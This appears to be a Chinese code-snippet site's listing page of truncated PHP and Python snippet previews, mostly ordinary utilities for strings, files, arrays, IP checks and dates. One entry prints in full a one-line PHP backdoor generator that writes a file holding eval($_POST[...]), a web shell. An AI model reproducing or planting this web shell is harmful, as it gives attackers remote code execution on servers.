php按字符截取中文并保证无乱码的方法<?php//$str 待截取的字符串//$len 截取的字符个数//$chars 已经截取的字符数//$res 保存的字符串//$chars 保存已经截取的字符串个数//$offset 截取的偏移量//$length 字符串的字节数//若$len>$str的字符个数,造成无谓的wh……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2581浏览 0评论2481个赞
这段代码的时间复杂度为O(n)来源:http://blog.csdn.net/zinss26914/article/details/8032361<?php function JudegSortArray($array) { if ($array [0] > $array [1]) { $flag = 1……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1406浏览 0评论2619个赞
php 找出数组中的重复数据转自:http://blog.csdn.net/zinss26914/article/details/8030618 (1)利用php提供的函数,array_unique和array_diff_assoc来实现<?php function Fe……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2088浏览 0评论787个赞
一个php编写的斐波那契数列代码片段 斐波那契数列(Fibonacci Sequence),又称黄金分割数列,指的是这样一个数列:1、1、2、3、5、8、13、21、……在数学上,斐波纳契数列以如下被以递归的方法定义:F0=0,F1=1,Fn=F(n-1)+F(n-2)(n>=2,n∈N*)。我用递归和迭代两种方法实现了斐波那契数列/** * De……继续阅读 » 水墨上仙 4年前 (2021-03-10) 3033浏览 0评论2637个赞
PHP限制IP访问 只允许指定IP访问 允许*号通配符过滤IP转自:http://blog.csdn.net/yw5201314/article/details/8467525/** * 检测访问的ip是否为规定的允许的ip * Enter description here ... */function check_ip(){ $ALLOWE……继续阅读 » 水墨上仙 4年前 (2021-03-10) 3166浏览 0评论2405个赞
php实现字符串翻转的代码<?phpheader("content-type:text/html;charset=utf-8"); /**此函数的作用是反转中文字符串mb_strlen() 获取字符的长度mb_substr() 获取字符的单个元素krsort() 按照键值逆序排序数组implode() 将数组拼接……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1440浏览 0评论1359个赞
PHP中几个输出函数echo(),print(),print_r()的区别 echo ,print的区别在于echo 可以输出多个变量值,而print只有一个变量,做为一个字符串输出. 另一点区别在于echo 没有……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1597浏览 0评论1466个赞
php 判断客户端是否为手机移动设备判断客户端是否为手机移动设备 function is_mobile() { $user_agent = $_SERVER['HTTP_USER_AGENT']; $mobile_agents = Array("240x320","acer&……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1978浏览 0评论1343个赞
解决php json_encode 函数中文乱码的问题解决以下问题json_encode 中文后的字符串不可阅读json_encode 多级数组中文乱码问题json_encode 数组中包含换行时错误问题json_encode 数组中键为中文的问题转自:http://blog.1dnet.net/?post=840function _encode($……继续阅读 » 水墨上仙 4年前 (2021-03-10) 3044浏览 0评论769个赞
php使用指定的编码导出mysql数据到csv的代码<?php ……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1221浏览 0评论1021个赞
php上传图片客户端和服务器端代码演示 表单代码<form name="form1" method="post" action="admin_upfile.php" enctype="multipart/f……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2227浏览 0评论1772个赞
php强制下载文件的代码header("Content-type: application/octet-stream");// displays progress bar when downloading (credits to Felix ;-))header("Content-Length: " . fi……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2556浏览 0评论989个赞
php取得字符串的首字母(适用于中文字符串)转自:http://blog.1dnet.net/?post=838<?php$limit = array( //gb2312 拼音排序 array(45217,45252), //A array(45253,45760), //B array(45761,46317), //……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2430浏览 0评论663个赞
php去除html代码中的空白和空行的代码function DeleteHtml($str){ $str = trim($str); $str = ereg_replace("\t","",$str); ……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2076浏览 0评论518个赞
PHP判断IP并转跳到相应城市分站的代码演示转自:http://blog.1dnet.net/?post=807<?php class QQWry{ var $StartIP=0; var $EndIP=0; var $Country=''; var $L……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2780浏览 0评论1491个赞
php读取文件函数//读取文件函数 <? function readfromfile($file_name) { if (file_exists($file_name)) { $filenum=fopen($file_name,"r"); flock($filenum,LOCK_EX); $file_data=fr……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2862浏览 0评论2481个赞
这个python函数模仿windows下的xcopy命令编写,可以用在linux下#!/usr/bin/python# -*- coding: UTF-8 -*-"""xcopy for Linux...Use:___________________________________________________……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1602浏览 0评论1245个赞
php写文件函数演示代码,可以将制定的数据写入文件//写入文件函数 <? function writetofile($file_name,$data,$method="w") { $filenum=fopen($file_name,$method); flock($filenum,LOCK_EX); $file_da……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1978浏览 0评论490个赞
php自定义函数获取访问者的操作系统类型<? function osinfo() { $os=""; $Agent = $GLOBALS["HTTP_USER_AGENT"]; if (eregi('win',$Agent) && strpos($Agent, &……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2026浏览 0评论363个赞
一个非常简单的格式转换代码,可以把.PDF文件转换为.JPG文件,代码要起作用,服务器必须要安装Image Magick 扩展。$pdf_file = './pdf/demo.pdf';$save_to = './jpg/demo.jpg'; //make sure that apache h……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2708浏览 0评论495个赞
php解压zip文件function unzip_file($file, $destination){ // create object $zip = new ZipArchive() ; // open archive if ($zip->open($file) !== TRUE) { die ('Could not op……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1833浏览 0评论2020个赞
php从数据库查询email是否已经存在// Use this$email_is_valid = valid_email($email, $db); // Functionfunction valid_email ($email, $db) { $r_email = $db->prepare('SELECT ……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2358浏览 0评论587个赞
php输出全球各个时区列表<?php$timezones = array ( '(GMT-12:00) International Date Line West' => 'Pacific/Wake', '(GMT-11:00) Midway Island' => ……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2487浏览 0评论975个赞
python搜索指定目录的文件,并进行文件内搜索指定的关键词#!/usr/bin/python -O# -*- coding: UTF-8 -*-"""Sucht rekursiv in Dateiinhalten und listet die Fundstellen auf."""……继续阅读 » 水墨上仙 4年前 (2021-03-10) 3033浏览 0评论1975个赞
python编写的benchmark 代码,用于小系统的性能测试很好#!/usr/bin/env python# coding: utf-8"""small system Benchmark by jensdiemer.deused fak_test by Dookie alias Fritz Cizmarovh……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2851浏览 0评论774个赞
一个python编写的用于搜索文件并进行内容替换的类#!/usr/bin/python -O# coding: UTF-8"""-replace string in files (recursive)-display the difference.v0.2 - search_string can be a re……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1761浏览 0评论2708个赞
一个用于计算函数执行时间的php类c_Timer代码<? class c_Timer { var $t_start = 0; var $t_stop = 0; var $t_elapsed = 0; functi……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1974浏览 0评论2858个赞
php检查Email地址是否有效<?php function is_valid_email($email) { if(preg_match("/[a-zA-Z0-9_-.+]+@[a-zA-Z0-9-]+.[a-zA-Z]+/", $email) > 0) retu……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1863浏览 0评论468个赞
只有在限定范围内的ip地址才能访问function get_real_ipaddress() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERV……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2385浏览 0评论897个赞
Mark’s IRC API Library 一个php编写的IRC API库Formats data for sending to an IRC network. This library does not handle * actual connecting to the IRC server or parsing the IRC serve……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2249浏览 0评论970个赞
用php数组填充下拉列表框<?php $data = array( (object)array("titulo"=>"Ford", "valor"=>"opcion1"), ……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1646浏览 0评论1110个赞
这段php代码通过foreach循环语句遍历数组并输出数组的所有元素<html><body><?php$array = array( 1, 2, 3, 4, 5);foreach( $array as $value ){ echo "Value is $value <br />&quo……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1279浏览 0评论317个赞
使用bcompiler对PHP文件进行加密的代码/** @license:MIT & GPL*/class PhpCodeZip{//欲進行壓縮加密的來源資料夾var $sourceDir = '.';//進行壓縮加密的存放的資料夾var $targetDir = 'tmp';//是否進行……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1851浏览 2663个赞
php 计算两个日期相差的天数<?php/** * 求两个日期之间相差的天数(针对1970年1月1日之后,求之前可以采用泰勒公式) * @param string $day1 * @param string $day2 * @return number */function diffBetweenTwoDays ($day1, $……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2857浏览 2291个赞
PHP根据图片色界在不同位置加水印/* * 来源: http://www.xuehuwang.com/ * 作者: 雪狐博客 */ function add_wm($nmw_water, $src_file, $output_file, $x, $y) { if(file_exists($output_file……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2660浏览 2477个赞
生成php一句话小马的后门<?fputs(fopen(linuxso.php,w),<?eval($_POST[linuxso]);?>)?>……继续阅读 » 水墨上仙 4年前 (2021-03-10) 3251浏览 931个赞
php使用NumberFormatter格式化货币$amount = '12345.67'; $formatter = new NumberFormatter('en_GB', NumberFormatter::CURRENCY);echo 'UK: ' . $formatter-&g……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1982浏览 1258个赞
例如给定 http://www.75271.com/index.html?id=1 返回.html<?php/** * 给定url,获取文件后缀 * @param string $url * @return string */function getUrlPostfix ($url){ $url_arr = explode……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2644浏览 2482个赞
写一个php函数算出两个文件的相对路径。例如$a=”/a/b/c/d/e.php”; $b=”/a/b/12/34/c.php”,B相对于A的相对路径是什么?这是一个常见的php面试题答案来自:http://blog.csdn.net/wzy_1988/<?php/** * 求$b相对于$……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2798浏览 2238个赞
php中通过参数化查询防止sql注入,有两种方法,一是通过pdo,一是通过mysqli 使用 PDO:$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name'……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2094浏览 2572个赞
PHP递归实现复制整个文件夹的类<?php/* * 文件夹复制类, * 赵春 2012年6月14日17:20:30 * 博客:www.zhaochun.net */class CopyFile{public $fromFile;public $toFile;/* * $fromFile 要复制谁 * $toFile ……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2333浏览 104个赞
php浏览历史记录/** * 商品历史浏览记录 * $data 商品记录信息 */private function _history($data){ if(!$data || !is_array($data)) { return false; } //判断cookie类里面是否有浏览记录 if($this->_r……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1281浏览 2858个赞
下面php代码通过gzcompress和gzuncompress压缩和解压缩字符串,可以设定压缩级别$str = 'Hello I am a very very very very long string';$compressed = gzcompress($str, 9);//压缩级别为9$uncompressed = gzu……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2889浏览 1184个赞
这段代码演示了php数组的强大功能,关联数组的创建和使用,php中的关联数组和python中的字典非常类似<html><body><?php/* First method to associate create array. */$salaries = array( "mohammad&quo……继续阅读 » 水墨上仙 4年前 (2021-03-10) 2650浏览 2288个赞
php短网址和数字之间的相互转换代码<?php/** * 将数字转为短网址代码 * * @param int $number 数字 * @return string 短网址代码 */function generate_code($number) { $out = ""; $codes = &……继续阅读 » 水墨上仙 4年前 (2021-03-10) 1495浏览 2122个赞